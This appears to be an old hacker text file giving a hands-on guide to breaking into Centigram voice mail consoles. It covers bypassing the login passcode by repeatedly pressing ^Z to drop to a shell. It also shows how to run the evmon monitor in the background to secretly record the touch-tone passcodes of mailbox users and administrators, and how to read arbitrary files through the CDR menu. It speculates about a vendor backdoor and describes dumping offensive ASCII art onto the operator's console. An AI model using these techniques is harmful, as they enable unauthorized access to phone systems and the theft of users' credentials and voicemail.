home *** CD-ROM | disk | FTP | other *** search
-
- Notes on Centigram Voice Mail system Consoles
-
- Proper entry procedure, possible design flaw and serious security
- bug:
-
- Due to, I assume, more efficient task-handling and the
- desire for a more 'Unix-like' environment, the developers at
- Centigram needed for certain key functions to be available at all
- times. For instance, the ^Z key acts as the 'escape' key (these
- can be remapped, if desired). When necessary for some
- applications to use an 'escape' procedure, pressing this key can,
- in at leas cases, cause a drop to shell, or /cmds/qnxsh
- (possibly /cmds/sh, as well, but I'm used to seeing qnxsh). If
- this escape procedure were invoked during, say, /cmds/login, the
- resulting drop to shell would by-pass the 'Enter Passcode:'
- message. And it does.
-
- After calling the Centigram, normal procedure is to hit ^Z
- to activate the terminal, followed by the entry of the remote or
- console passcodes, and then proceeding with normal console
- activities. However, if ^Z is continually depressed during the
- login sequence, the login program will abort and run /cmds/qnxsh.
- The behavior may be somewhat erratic by the repeat use of the
- escape key, but when the $ prompt appears, usually, it doesn't
- deliberately go away without an 'exit' command or a ^D.
- Typically, a login pattern can develop to accommodate the erratic
- behavior something along the lines of: continuously depress ^Z
- until $ prompt appears, hit return, possibly get 'Enter Passcode:'
- message, hit return, and $ prompt appears again, set proper tty
- setting, and change directory appropriately, and continue with
- normal console functions.
-
- Initial STTY Setting:
-
- I've had problems with my terminal settings not being set
- properly during the above entry procedure. I can correct this by
- using the "stty +echo +edit" command, and, for my terminal, all
- is restored. The correct values for STTY options and keys appear
- to be:
-
- Options: +echo +edit +etab +ers +edel +oflow +mapcr +hangup
- break=03h esc=1Ah rub=7Fh can=18h eot=04h up=15h
-
- down=
- 0Ah left=08h ins=0Eh del=0Bh
-
- The keymap, of course, can be modified as desired, but the
- options, especially +edit, appear to be necessary.
-
- [A somewhat detailed description of the options could follow, or
- maybe just a list and a brief review of the ones I care to
- comment on]
-
- Disks and directories:
-
- The drives and directories are set up in a remotely MessDos
- fashion. The output of a 'pwd' command looks similar to '4:/'.
- '4;' represents the drive number, and '/' is the start of the
- directory structure, '4:/' being the root directory for drive 4,
- '3:/tmp' being the /tmp directory on drive 3, etc.
-
- The two most important directories are 1:/cmds and 4:/cmds,
- which contain, for the most part, the program files for all of
- the performable commands on the system, excluding the commands
- written into the shell. The directory 1:/cmds should look
- similar to:
-
- $ ls
- backup drel ls rm talk
- chattr eo mkdir rmdir tcap
- choose fdformat mount runfloppy timer
- clrhouse files p search tsk
- cp frel pack sh unpack
- date get_boolean patch slay ws
- ddump led pwd sleep zap
- diff led.init qnxsh spatch
- dinit login query stty
-
- This is a display of many useful commands. chattr changes
- the read/write file attributes, cp is copy, ddump dumps disk
- sectors in hex & ascii, led is the line editor, p is the file
- print utility, and a variety of other things that you can
- experiment with at your own leisure. DO NOT USE THE TALK
- COMMAND. At least, be careful if you do. If you try to
- communicate with your own terminal, it locks communication with
- the shell, and upon hangup, for some reason, causes (well, in one
- instance) a major system error and system-wide reboot, which,
- quite frankly, made me say 'Oops. I'm not doing that again'
- when I called to check on the actual voice mailboxes, and the
- phone line just sat there, dead as old wood; and I was quite
- relieved that it came back up after a few minutes.
-
- The other directory, 4:/cmds, is filled with more specific
- commands pertaining to functions within the voice mail system
- itself. These programs are actually run from within other
- programs, to produce an easy-to-understand menu system.
- Normally, this menu system is immediately run after the entry
- of the remote or console passcode, but it would not be run when
- using the aforementioned security bug. It can be run from the
- shell simply by typing the name of the program, 'console'.
-
- Mounting and Initializing Drives:
-
- The MOUNT command produces results similar to this when run
- without arguments:
-
- $ mount
- Drive 1: Hard, 360k, offset = 256k, partition= Qnx
- Drive 2: Floppy, 360k, p=1Drive 3: RamDisk, 96k, partition= Qnx
- Drive 4: Hard, 6.1M, offset = 616k, partition= Qnx
- $tty0 = $con, Serial at 03F8
- $tty1 = $term1 , Serial at 02F8
- $tty2 = $term2 , Serial at 0420
- $tty3 = $mdm , Serial at 0428
-
- The Hard and Floppy drives are fairly self-explanatory,
- although I can't explain why they appear to be so small, nor do
- I know where the voice recordings go, or if this list contain all
- the space required for voice storage.
- The Ramdisk, however, is a bit more interesting to me. The
- mount command used for the above-mentioned disk 3 was:
-
- $ mount ramdisk 3 s=96k -v
-
- Although I'm not sure what the -v qualifier does, the rest
- is fairly straightforward. I assume that the size of the drive
- can be greater than 96k, although I haven't yet played with it to
- see how far it can go. To initialize the drive, the following
- command was used:
-
- $ dinit 3
-
- Quite simple, really. Now the drive is ready for use, so
- one can 'mkdir 3:/tmp' or such and route files there as desired,
- or use it for whatever purpose. If something is accidentally
- redirected to the console with >$cons, you can use the line
- editor 'led' to create a temporary file and then use the print
- utility 'p' to clear the console's screen by using "p filename
- >$cons", where filename contains a clear screen of 25 lines, or
- an @▐SI bomb (if appropriate), or a full-screen DobbsHead or
- whatever you like.
-
- EVMON and password collecting:
-
- The evmon utility is responsible for informing the system
- manager about the activity currently taking place within the
- voice mail system. Run alone, evmon produces output similar to:
-
- $ evmon
- Type Ctrl-C to terminate.
- ln 26 tt 3
- ln 26 line break
- ln 26 onhook
- ln 28 ringing
- ln 28 tt 8
- ln 28 tt 7
- ln 28 tt 6
- ln 28 tt 2
- ln 28 offhook
- ln 28 tt *
- ln 28 tt 2
- ln 28 tt 0
- ln 28 tt 3
- ln 28 tt 0
- ln 28 line break
- ln 28 onhook
- [...]
-
- And so forth. This identifies a certain phone line, such as line
- 28, and a certain action taking place on the line, such as the
- line ringing, going on or offhook, etc. The 'tt' stands (I
- assume) for touch tone, and it is, of course, the tone currently
- played on the line; which means that touchtone entry of passcodes
- can be recorded and filed at will. In the above example, the
- passcode for Mailbox 8762 is 2030 (the * key, along with the 0
- key, can acts as the 'user entering mailbox' key; it can,
- however, also be the abort key during passcode entry, and other
- things as well). Now the user, of course, doesn't (usually) dial
- 8762 to enter his mailbox, he simply dials the mailbox number and
- then * plus his passcode; the reason for this is the type of
- signalling coming from the switch to this particular business
- line was set-up for four digit touch tone ID to route the line to
- the appropriate called number. This is not the only method of
- signalling, however, as I've seen other businesses that use three
- digit pulse signalling, for example, and there are others as
- well. Each may have it's own eccentricities, but I would imagine
- that the line ID would be displayed with EVMON in most cases.
-
- Now, let's say we're online, and we want to play around, and
- we want to collect passcodes. We've set up our Ramdisk to normal
- size and we are ready to run evmon. We could run it, sit at our
- terminal, and then record the output, but it's such a time
- consuming task (this is 'real-time', after all) that sitting and
- waiting be nearly pointless. So, we use the handy features of
- run-in-background and file-redirection. (See, I told you we were
- getting 'Unix-like'.)
-
- $ evmon > 3:/tmp/output &
- Type Ctrl-C to terminate.
- 5e1e
- $ ...
-
- 5e1e is the task ID (TID) of the new evmon process. Now we
- can go off and perform whatever lists we want, or just play in
- the directories, or route DobbsHeads or whatever. When we decide
- to end for the day, we simply stop EVMON, nab the file, remove
- it, and if necessary, dismount the ramdisk.
-
- $ kill 5e1e
- $ p 3:/tmp/output
- [ EVMON output would normally appear; if, however, ]
- [ there is none, the file would be deleted during ]
- [ the kill with an error message resulting ]
- $ rm 3:/tmp/output
- $ rmdir 3:/tmp
- $ mount ramdisk 3
-
- and now we can ^D or exit out of the shell and say good-bye.
-
- The good thing about this EVMON procedure is that you don't
- need to be online while it runs. You could start a task sometime
- at night and then wait until the next day before you kill the
- process and check your results. This usually produces large log
- files anywhere from 40K to 200K, depending upon the amount of
- system usage (these figures are rough estimates). If, however,
- you start the EVMON task and leave it running, then the
- administrator will not be able to start a new EVMON session until
- the old task is killed. While this probably shouldn't be a
- problem over the weekends, during business hours it may become a
- little risky.
-
- Remember though, that the risk might be worth it, especially
- if the administrator decides to check his mailbox; you'd then
- have his passcode, and possibly, remote telephone access to
- system administrator functions via touch-tone on the mailbox
- system.
-
- Task management:
- As we have just noted, any task like EVMON can be run in the
- background by appending the command line with a &, the standard
- unix 'run-in-background' character. A Task ID will echo back in
- hexadecimal, quite comparable to the unix Process ID. The
- program responsible for task management is called 'tsk' and
- should be in 1:/cmds/tsk. Output from running tsk alone should
- look something like:
-
- $ tsk
- Tty Program Tid State Blk Pri Flags Grp Mem Dad Bro Son
- 0 task 0001 READY ---- 1 ---IPLA----- 255 255 ---- ---- ----
- 0 fsys 0002 RECV 0000 3 ---IPLA----- 255 255 ---- ---- ----
- 0 dev 0003 RECV 0000 2 ---IPLA----- 255 255 ---- ---- ----
- 0 idle 0004 READY ---- 15 ----PLA----- 255 255 ---- ---- 0508
- 0 /cmds/timer 0607 RECV 0000 2 -S--P-AC---- 255 255 ---- ---- ----
- 0 /cmds/err_log 0509 RECV 0000 5 -S--P--C---- 255 255 0A0A ---- ----
- 0 /cmds/ovrseer 0A0A REPLY 0607 5 -S--P--C---- 255 255 ---- ---- 030C
- 0 /cmds/recorder 010B REPLY 0509 5 -S--P--C---- 255 255 0A0A 0509 ----
- 0 /cmds/master 030C REPLY 0607 5 -S--P--C---- 255 255 0A0A 010B 011C
- [ ... a wide assortment of programs ... ]
- 0 /cmds/vmemo 011C REPLY 0110 13 -S-----C---- 255 255 030C 011B ----
- 3 /cmds/comm 0508 RECV 5622 8 ----P-A----- 255 255 0004 ---- 5622
- 3 /cmds/tsk 051D REPLY 0001 8 ------------ 255 255 301E ---- ----
- 3 /cmds/qnxsh 301E REPLY 0001 14 ---------E-- 255 255 5622 ---- 051D
- 3 /cmds/login 5622 REPLY 0003 8 -------C---- 255 255 0508 ---- 301E
-
-
- Although I'm not quite sure at some of the specifics
- displayed in this output, the important parts are obvious. The
- first column is the tty number which corresponds to the $tty list
- in 'mount' (meaning that the modem I've just called is $tty3, and
- I am simultaneously running four tasks from that line); the
- second column is the program name (without the drive
- specification); the third column is the task ID; the middle
- columns are unknown to me; and the last three represent the ties
- and relations to other tasks (Parent task ID, another task ID
- created from the same parent, and task ID of any program called).
-
- Knowing this, it's easy to follow the tasks we've created
- since login. Initially, task 0508, /cmds/comm, was run, which
- presumably contains the requisite 'what should I do know that my
- user has pressed a key?' functions, which called /cmds/login to
- log the user in. Login was interrupted with ^Z and one of the
- shells, qnxsh, was called to handle input from the user.
- Finally, the typing of 'tsk' requires that the /cmds/tsk program
- be given a task ID, and the output of the program is simply
- confirming that it exists.
- As mentioned, to kill a task from the shell, simply type
- 'kill [task-id]' where [task-id] is the four digit hexadecimal
- number.
-
- There are other functions of the tsk program, as well. The
- help screen lists:
-
- $ tsk ?
- use: tsk [f={cmoprst}] [p=program] [t=tty] [u=userid]
- tsk code [p=program]
- tsk info
- tsk mem t=tid
- tsk names
- tsk size [p=program] [t=tty] [u=userid]
- tsk ports
- tsk
- tsk
- tsk tree [+tid] [+all] [-net]
- tsk users [p=program] [t=tty] [u=userid]
- tsk vcs
- tsk who tid ...
- options: +qnx -header +physical [n=]node s=sort_field
-
- I haven't seen all the information available from this, yet,
- as the plain 'tsk' tells me everything I need to know; however,
- you may want to play around, there's no telling what secrets are
- hidden...
-
- $ tsk tsk
- Tsk tsk? Have I been a bad computer?
-
- See what I mean?
-
- ddump:
-
- The ddump utility is used to display the contents on a
- specified blocks of the disk. It's quite simple to use.
-
- $ ddump ?
- use: ddump drive block_number [-v]
-
- Again, I'm not quite sure what the -v switch does, but the
- instructions are very straightforward. Normal output looks
- similar to:
-
- $ ddump 3 3
- Place diskette in drive 3 and hit <CR> <-- this message is always
- displayed by ddump.
- Block 00000003 Status: 00
- 000: 00 00 00 00 00 00 00 00 94 00 00 00 00 00 00 00 ................
- 010: 01 00 01 00 40 02 00 00 00 02 00 00 00 00 00 00 ....@....╬.Lù...
- 020: 00 01 00 FF FF 00 00 97 37 29 17 00 01 01 01 30 ........7).....0
- 030: C4 17 8E 62 69 74 6D 61 70 00 00 00 00 00 00 00 ...bitmap.......
- 040: 00 00 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 ................
- 050: 00 00 00 FF FF 00 00 A5 37 29 17 00 01 01 17 30 ........7).....0
- 060: C4 25 8E 6C 6C 6C 00 00 00 00 00 00 00 00 00 00 .%.lll..........
- 070: 00 00 00 00 50 0E 00 00 00 0E 00 00 00 00 00 00 ....P...........
- 080: 00 01 00 FF FF 7E 05 A8 38 29 17 00 01 01 17 30 .....~..8).....0
- 090: C4 28 8F 61 62 63 00 00 00 00 00 00 00 00 00 00 .(.abc..........
- 0A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 0B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- [...etc...]
-
- As you can probably notice, what we have here is the
- directory track for the ramdisk. It lists three files, even
- though the file abc no longer exists. The actual bytes have yet
- to be decoded, but, as far as the ramdisk goes, I suspect that
- they'll be memory related, and not physical block related; that
- is, I suspect that some of the numbers given above correspond to
- the memory address of the file, and not to the actual disk-block.
- So, at least for the ramdisk, finding specific files may be
- difficult. However, if you only have one file one the ramdisk
- besides 'bitmap' (which appears to be mandatory across all the
- disks), then the next file you create should reside on track 4
- and continue working it's way up. Therefore, if you have evmon
- running and redirected to a file on the ramdisk, in order to
- check the contents, it's not necessary to kill the process, and
- restart evmon, etc. Simply 'ddump 3 4', and you could get either
- useless information (all the bytes are 00 or FF), or you could
- get something like:
-
- $ ddump 3 4
- Place diskette in drive 3 and hit <CR>
-
- Block 00000004 Status: 00
- 000: 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 ................
- 010: 6C 6E 20 20 32 36 20 74 74 20 33 1E 6C 6E 20 20 ln 26 tt 3.ln
- 020: 32 36 20 6C 69 6E 65 20 62 72 65 61 6B 1E 6C 6E 26 line break.ln
- 030: 20 20 32 36 20 6F 6E 68 6F 6F 6B 1E 6C 6E 20 20 26 onhook.ln
- 040: 32 38 20 72 69 6E 67 69 6E 67 1E 6C 6E 20 20 32 28 ringing.ln 2
- 050: 38 20 74 74 20 38 1E 6C 6E 20 20 32 38 20 74 74 8 tt 8.ln 28 tt
- 060: 20 37 1E 6C 6E 20 20 32 38 20 74 74 20 36 1E 6C 7.ln 28 tt 6.l
- 070: 6E 20 20 32 38 20 74 74 20 32 1E 6C 6E 20 20 32 n 28 tt 2.ln 2
- 080: 38 20 6F 66 66 68 6F 6F 6B 1E 6C 6E 20 20 32 38 8 offhook.ln 28
- 090: 20 74 74 20 2A 1E 6C 6E 20 20 32 38 20 74 74 20 tt *.ln 28 tt
-
- ... and so forth, thus making sure that the file does have
- some content. Depending upon the length of that content, you
- could then choose to either keep the file running, or restart
- evmon and buffer the previous output.
-
- led:
-
- The program 'led' is Centigram's answer to a standard text
- editor. It is equivalent to 'ed' in unix or 'edlin' in MSDOS,
- but it does have it's minor differences. led is used to create
- text files, edit, existing log files, or edit executable shell
- scripts. By typing 'led [filename]', you will enter the led
- editor, and if a filename is specified, and it exists, the file
- will be loaded and the editor set to line 1. If there is no
- filename on the command line, or the file does not exist, of the
- file is busy, then led begins editing a null file, an empty
- buffer, without the corresponding filename. (Commands can also
- be specified to be used in led after the filename is entered. If
- needed, you can experiment with this.)
-
- Notable commands from within led:
-
- i insert
- a append
- w [filename] write to disk; if no file is named, attempt to
- write to current file; if there is no current
- file, do not write.
- d delete current line
- a number goto line numbered
- q quit (if not saved, inform user to use 'qq')
- qq Really quit
-
- When inserting or appending, led will prompt you with a '.'
- period. To end you entry, simply enter one period alone on a
- line, and you will then return to command mode. When displaying
- the current entry, led will prefix
- all new, updated lines, with the 'i' character.
-
- The key sequence to enter a Dobbshead into a file and
- redirect it to the console, then, would be:
-
- $ led 3:/dobbshead3:/dobbshead : unable to match file
- i ___
- . / \
- . | o o |
- . | Y |
- U===== |
- \___/
- FUCK YOU!
- q
- ?4 buffer has been modified, use qq to quit without saving
- w 3:/dobbshead
- 7 [the number of lines in the file]
- q
- $ p 3:/dobbshead > $cons
- $ rm 3:/dobbshead
-
- Ok, so it's not quite the Dobbshead. Fuck you.
-
- The console utility:
-
- The program that acts as the menu driver for the Voice Mail
- System Administration, the program that is normally run upon
- correct passcode entry, is /cmds/console. This program will
- simply produce a menu with a variety of sub-menu's that allow
- the administrator to perform a wide assortment of tasks. Since
- this is mostly self-explanatory, I'll let you find out about
- these functions for youself; I will, however, add just a few
- comments about the console utility. The first menu received
- should look like this:
-
- (c) All Software Copyright 1983, 1989 Centigram Corporation
- All Rights Reserved.
-
- MAIN MENU
-
- (R) Mailbox maintenance
- (R) Report generation
- (S) System maintenance
- (X) Exit
-
- Enter letter in () to execute command.
- When you need help later, type ?.
-
- COMMAND (M/R/S/X):
-
- The mailbox maintenance option is used when you want to
- find specific information concerning mailboxes on the system.
- For instance, to get a listing of all the mailboxes currently
- being used on the system:
-
- COMMAND (M/R/S/X): m
-
- MAILBOX MAINTENANCE
-
- (B) Mailbox block inquiry
- (C) Create new mailboxes
- (D) Delete mailboxes
- (E) Mailbox dump
- (I) Inquire about mailboxes
- (L) List maintenance
- (M) Modify mailboxes
- (P) Set passcode/tutorial
- (R) Rotational mailboxes
- (S) Search for mailboxes
- (X) Exit
-
- If you need help later, type ?.
-
- COMMAND (B/C/D/E/I/L/M/P/R/S/X): i
- Report destination (c/s1/s2) [c]:
-
- Mailbox to display: 0000-9999
-
- >>> BOBTEL <<<
- Mailbox Data Inquiry
- Tue Mar 31, 1992 3:07 am
-
- Box Msgs Unp Urg Rec Mins FCOS LCOS GCOS NCOS MWI Passwd
- 8001 1 1 0 0 0.0 5 5 1 1 None Y
- 8002 0 0 0 0 0.0 5 5 1 1 None Y (t)
- 8003 0 0 0 0 0.0 12 12 1 1 None
- 0 0 0.0 12 12 1 1 None Y
- 8006 6 6 0 0 0.7 12 12 1 1 None N
- 8008 0 0 0 0 0.0 5 5 1 1 None Y
- 8013 0 0 0 0 0.0 12 12 1 1 None 1234
- 8014 0 0 0 0 0.0 5 5 1 1 None Y
- 8016 0 0 0 0 0.0 12 12 1 1 None Y
- [ ... etc ... ]
-
- This simply lists every box along with the relevant
- information concerning are the
- Total number of messages, number of unplayed messages, number of
- urgent messages, and number of received messages currently being
- stored on the drive for the mailbox; Mins is the numbers of
- minutes currently being used by those messages; F, L, G, and
- NCOS are various classes of service for the mailboxes; MWI is
- the message waiting indicator, or service light; and Passwd is
- simply a Yes/No condition informing the administrator whether
- the mailbox currently has a password. The'(t)' the password
- field means the box is currently in tutorial mode, and the '1234'
- that replaces the Y/N condition, I assume, means the box is set
- to initial tutorial mode with simple passcode 1234 -- in other
- words the box is available to be used by a new subscriber.
- Mailboxes with FCOS of 1 should be looked for, these represent
- administration or service mailboxes, although they are not
- necessarily capable of performing system administration
- functions.
-
- The System maintenance option from the main menu is very
- useful in that, if you don't have access to the qnxsh, you can
- still run a number of tasks or print out any file you wish from
- within the menu system. The System Mainenance menu looks like:
-
- SYSTEM MAINTENANCE
-
- (A) Automatic Wakeup
- (B) Automated Receptionist Extensions
- (D) Display modem passcode
- (E) Enable modem/serial port
- (F) Floppy backup
- (G) Resynchronize HIS PMS room status
- (H) Hard Disk Utilities
- (L) Lights test
- (M) Manual message purge
- (N) System name
- (P) Passcode
- (R) Reconfiguration
- (S) System shutdown
- (T) Time and date
- (U) Utility menu
- (V) Call Detail Recorder
- (W) Network menu
- (X) Exit
-
- Enter letter in () to execute command.
- When you need help later, type ?.
-
- COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X):
-
- If you don't have access to the 'p' command, you can still
- display any specific file on the drive that you wish to see.
- Choose 'v', the Call Detail Recorder option, from above, and you
- will get this menu:
-
- COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): v
- Warning: cdr is not running.
-
- CALL DETAIL RECORDER MENU
-
- (C) Configure CDR
- (R) Run CDR
- (T) Terminate CDR
- (E) Run EVMON
- (F) Terminate EVMON
- (S) Show CDR log file
- (D) Delete CDR log file
- (X) Exit
-
- If you need help later, type ?.
-
- COMMAND (C/R/T/E/F/S/D/X):
- M From here, you can use (C) Configure CDR to set the log
- file to any name that you want, and use (S) to print that file
- to your terminal.
-
- COMMAND (C/R/T/E/F/S/D/X): c
-
- Answer the following question to configure call detail recorder
- [ simply hit return until the last 'filename' question come up ]
- VoiceMemo line numbers enabled:
- HOST 1 lines:
- 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
- 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
- VoiceMemo line numbers:
-
- EVMON: HOST 1 lines to monitor:
- 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
- 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
- EVMON:VoiceMemo line numbers:
- Message levels are:
- 1: Detailed VoiceMemo
- 2: VoiceMemo
- 3: Pager
- 4: Receptionist
- 5: EVMON
- 6: Automatic WakeUp
- 7: Open Account Administrator
- 8: DTMF to PBX
- 9: Message Waiting Lamp
- 10: SL-1 integration
- 11: Centrex Integration
- Message levels enabled:
- 2 3 7 9
- Message levels:
- cdr enable = [N]
- Enter filename to save log data = [/logfile] /config/remote.cmds
-
- Returning from the CDR configuration.
-
- CALL DETAIL RECORDER MENU
-
- (C) Configure CDR
- (R) Run CDR
- (T) Terminate CDR
- (E) Run EVMON
- (F) Terminate EVMON
- (S) Show CDR log file
- (D) Delete CDR log file
- (X) Exit
-
- If you need help later, type ?.
-
- COMMAND (C/R/T/E/F/S/D/X): s
- ad
- cd
- copy
- date
- dskchk
- evmon
- files
- ls
- mount
- p
- pwd
- query
- task
- tcap
- what
-
- Don't forget to return the filename back to it's original
- name, as shown in the [] field, after you have finished.
-
- If you don't have access to the shell, you can also run
- EVMON, from the CDR menu, using option E. It will simply start
- the evmon process displaying to your terminal, interruptable by
- the break character, ^C. This, unfortunately, cannot be
- redirected or run in the background as tasks running from the
- shell can. If, however, you have some time to kill you may want
- to play with it.
-
- Also from the System Maintenance menu, you can perform a
- number of shell tasks without direct access to the shell. Option
- (U), Utilities Menu, has an option called Task. This will allow
- you limited shell access, possibly with redirection and '&' back-
- grounding.
-
- COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): U
-
- UTILITY MENU
-
- (B) Reboot
- (H) History
- (T) Task
- (X) Exit
-
- Enter letter in () to execute command.
- When you need help later, type ?.
-
- COMMAND (B/H/T/X): t
-
- Choose the following commands:
- ad cd copy date
- dskchk evmon files ls
- mount p pwd query
- task tcap what
-
- Enter a command name or 'X' to exit: pwd
- 1:/
-
- Choose the following commands:
- ad cd copy date
- dskchk evmon files ls
- mount p pwd query
- task tcap what
-
- Enter a command name or 'X' to exit: evmon
- Type Ctrl-C to terminate.
- ln 29 ringing
- ln 29 tt 8
- ln 29 tt 0
- ln 29 tt 8
- ln 29 tt 6
- ln 29 offhook
- ln 29 record ended
- [ ... etc ... ]
-
- A look at 'ad':
-
- The program 'ad' is called to dump information on a variety
- of things, the most useful being mailboxes. Dumps of specific
- information about a mailbox can be done either in Mailbox format,
- or Raw Dump format. Mailbox format looks like:
-
- $ ad
- Type #: 0
- Mailbox #: 8486
- (M)ailbox, (D)ump ? m
-
- MAILBOX: 8486
-
- Login status:
- Bad logs = 3 Last log = 03/26/92 12:19 pmVersion = 0
-
- Configuration:
- Name # = 207314 Greeting = 207309 Greeting2 = 0
- Passcode = XXXXXXXXXX Tutorial = N Extension = 8486
- Ext index = 0 Attendant = Attend index = 0
- Code = ID = BOBTECHM Night_treat = M Fcos = 12 os = 12 Gcos = 1 Ncos = 1 Rot index = 0 o eid = 0 Rot start = -- wkup defined
- fdx_msgs= 0
- Sent_urg_msgs= 0 Tas_msgs = 0 Pages = 0
- Receipt = 0 Sent_to_node = 0 Urg_to_node = 0
- Net_urg_mlen = 0 Net_msgs_rcv = 0 Net_urg_rcv = 0
- Net_sent_node= 0 Net_send_nurg= 0 Net_send_rcp = 0
- Greet_count = 9 Successlogins= 1 Recpt_calls = 0
- Recpt_complt = 0 Recpt_busy = 0 Recpt_rna = 0
- Recpt_msgs = 0 Recpt_attend = 0 User_connect = 20
- Clr_connect = 22 Callp_connect= 0 Disk_use = 498
- Net_sent_mlen= 0 Net_rcvd_mlen= 0 Net_rcvd_urg = 0
- Net_node_mlen= 0 Net_recip_mlen=0 Net_node_urg = 0
- Text_msg_cnt = 0
-
-
- Message Queues:
- TYPE COUNT TOTAL HEAD TAIL TYPE COUNT TOTAL HEAD TAIL
- Free 71 --- 58 55 Unplayed 0 --- -1 -1
- Played 2 0.5 56 57 Urgent 0 --- -1 -1
- Receipts 0 --- -1 -1 Undelivered 0 --- -1 -1
- Future delivery 0 --- -1 -1 Call placement 0 --- -1 -1
-
- Messages: 2
- # msg # DATE TIME LENGTH SENDER PORT FLAGS MSG SIBL
- (MINS) NXT PRV NXT PRV
- Played Queue
- 56 207126 03/26/92 12:17 pm 0.5 000000000000000 27 ------P- 57 -1 -1 -1
-
- 57 207147 03/26/92 12:19 pm 0.1 000000000000000 29 ------P- -1 56 -1 -1
-
- The Ramp format looks like:
- $ ad
- Type #: 0
- Mailbox #: 8487
- (M)ailbox, (D)ump ? d
-
- HEX: 8487
- 000: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
- 010: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
- 020: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 34 38 |..............48|
- 030: 37 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ..............|
- 040: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
- 050: 00 00 00 00 00 00 00 00 - 00 00 42 49 4f 54 45 43 |..........BOBTEC|
- 060: 48 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |H...............|
- 070: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
- 080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 37 32 33 |.............723|
- 090: 36 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ..............|
- 0a0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
- 0b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
- 0c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
- [mostly deleted -- the list continues to hex fff.]
-
- One of the unfortunate aspects is that the password is not
- displayed in the Mailbox format (Awwww!). I can tell you now,
- though, that it also isn't displayed anywhere in the Raw Dump
- format. The program 'asetpass' was used to change the password
- of a test mailbox, and both full dumps were downloaded and
- compared; they matched exactly. So, it looks like the passcodes
- are probably stored somewhere else, and the dump simply contains
- a link to the appropriate offset; which meansthe only way, so
- far, to get passcodes for mailboxes is to capture them in EVMON.
-
- Intricacies of the login program:
-
- The console login program is 1:/cmds/login. Although I
- can't even recognize any valid 8080 series assembly in the
- program (and I'm told the Centigram boxes run on the 8080
- family), I did manage to find a few interesting tidbits inside of
- it. Firstly, the console and remote passwords seems to be stored
- in the file /config/rates; unfortunately, it's encrypted and I'm
- not going to try to break the scheme. /config/rates looks like
- this:
-
- $ p /config/rates
- \CE\FFC~C~\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00
- \00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\00\00\00\00\00\00\00
- functions with different passcodes. In this instance, only one
- passcode appears to be selected. I am still unsure, however,
- whether this is actually a password file, or a file that would
- acts as a pointer to another space on the disk which contains the
- actual password. I would assume, for this login program, that it
- is actually an encrypted password.
-
- Another very interesting thing sleeping within the confines
- of the login program is the inconspicuous string 'QNX'. It sits
- in the code between two 'Enter Passcode:' prompts, separated by
- \00's. I believe this to be a system-wide backdoor placed into
- the login program by Centigram, Corp. Such a thing does exist;
- whenever Centigram wants to get into a certain mailbox system to
- perform maintenance or solve a problem, they can. They may,
- however, require the Serial number of the machine or of the Hard
- Drive, in order to get this access. (This serial number would be
- provided by the company requiring service.)
-
- When logging in with QNX, a very strange thing happens.
-
- (^Z)
- Enter Passcode: (QNX^M) Enter Passcode:
-
- A second passcode prompt appears, a prompt in which the
- 'QNX' passcode produces an Invalid Passcode message. I believe
- that when Centigram logs in from remote, they use this procedure,
- along with either a predetermined passcode, or a passcode
- determined based on a serial number, to access the system. I
- have not ever seen this procedure actually done, but it is the
- best speculation that I can give.
-
- I should also make note of a somewhat less important point.
- Should the console have no passcodes assigned, a simple ^Z for
- terminal activation will start the /cmds/console program, and
- log the user directly in without prompting for a passcode. The
- odds on finding a Centigram like this, nowadays, is probably as
- remote as being struck by lightning, but personally, I can recall
- a time a number of years back when a Florida company hadn't yet
- passcode protected a Centigram. It was very fun to have such a
- large number of people communicating back and forth in normal
- voice; it was even more fun to hop on conferences with a number
- of people and record the stupidity of the average Bell operator.
-
- Special Keys or Strings:
-
- There are a number of special characters or strings that are
- important to either the shell or the program being executed.
- Some of these are:
- ? after the program name, gives help list for that program.
- & runs a task in the background
- : sets the comment field (for text within shell scripts)
- ; command delimiter within the shell
- > redirects output of a task to a file
- < (theoretically) routes input from a file
- $cons the 'filename' of the console (redirectable)
- $tty# the 'filename' of tty number '#'
- $mdm the 'filename' of the modem line
- #$ ? produces a value like '1920', '321d'
- probably the TID of the current process
- ## ? produces a value like 'ffff'
- #% ? produces a value like '0020', '001d'
- #& ? produces a value like '0000'
- #? ? produces a value like '0000'
- #* a null argument
- #g ? produces a value like '00ff'
- #i directly followed by a number, produces '0000'
- not followed, produces the error 'non-existent integer
- variable' probably used in conjunction with environment
- variables
- #k accepts a line from current input (stdin) to be
- substituted on the command line
- #m ? '00ff'
- #n ? '0000'
- #p ? '0042'
- #s produces the error 'non-existent string variable'
- probably used in conjunction with environment variables
- #t ? '0003'
- #u ? some string similar to 'system'
- #D ? '0018'
- #M ? '0004'
- #Y ? '005c'
-
-
-
-
-